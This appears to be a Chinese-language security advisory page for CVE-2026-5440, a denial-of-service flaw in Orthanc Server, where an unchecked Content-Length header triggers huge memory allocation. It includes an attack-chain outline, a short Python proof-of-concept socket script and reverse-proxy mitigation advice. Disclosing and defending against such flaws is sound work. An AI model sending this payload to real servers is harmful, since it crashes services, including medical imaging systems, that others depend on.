IPBUF安全漏洞报告
English
CVE-2026-5440 CVSS 7.5 高危

CVE-2026-5440 HTTP服务器内存耗尽漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5440
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Orthanc Server

相关标签

内存耗尽拒绝服务HTTPOrthanc ServerCVE-2026-5440

漏洞概述

该漏洞存在于HTTP服务器中,由于对`Content-Length`头部的使用缺乏边界限制导致。服务器直接根据攻击者提供的头部值分配内存,且未强制执行上限。攻击者可发送包含超大`Content-Length`值的恶意HTTP请求,触发过度内存分配,导致服务器终止,且无需发送请求正文。

技术细节

漏洞原理在于HTTP服务器在解析请求头时,未对`Content-Length`字段进行有效性校验和最大值限制,直接将其作为参数传递给内存分配函数。攻击者通过构造一个包含极大数值(例如999999999999)的`Content-Length`字段的HTTP GET或POST请求发送给服务器。服务器在接收头部后,会尝试根据该数值预留相应的内存空间以准备接收后续数据。由于该数值远超系统实际可用内存,导致内存分配失败或触发操作系统的OOM(Out of Memory)机制,最终造成服务进程崩溃或终止,达成拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的目标HTTP服务器(如Orthanc Server)。
STEP 2
武器化
攻击者构造包含恶意`Content-Length`头部(如999999999999)的HTTP请求数据包。
STEP 3
交付
攻击者通过TCP连接将构造好的恶意HTTP请求发送至目标服务器。
STEP 4
利用
目标服务器解析头部并尝试分配极大内存,导致资源耗尽或服务崩溃,达成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket def exploit_poc(host, port): # Create a malicious HTTP request with a huge Content-Length header # The server allocates memory based on this value without sending the body. payload = """GET / HTTP/1.1 Host: {} Content-Length: 999999999999 """.format(host) try: print("[+] Sending malicious request to {}: {}".format(host, port)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((host, port)) s.send(payload.encode()) print("[+] Request sent. Check if the server has crashed.") s.close() except Exception as e: print("[-] Error: {}".format(e)) if __name__ == "__main__": target_ip = "127.0.0.1" # Replace with target IP target_port = 8042 # Replace with target port (Orthanc default is 8042) exploit_poc(target_ip, target_port)

影响范围

Orthanc Server (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
在官方补丁发布前,建议在服务器前端部署反向代理服务器(如Nginx或Apache),配置规则以限制HTTP请求头的`Content-Length`最大值,防止超大数值传递给后端应用。同时,应严格限制服务器的网络访问权限,仅允许可信IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表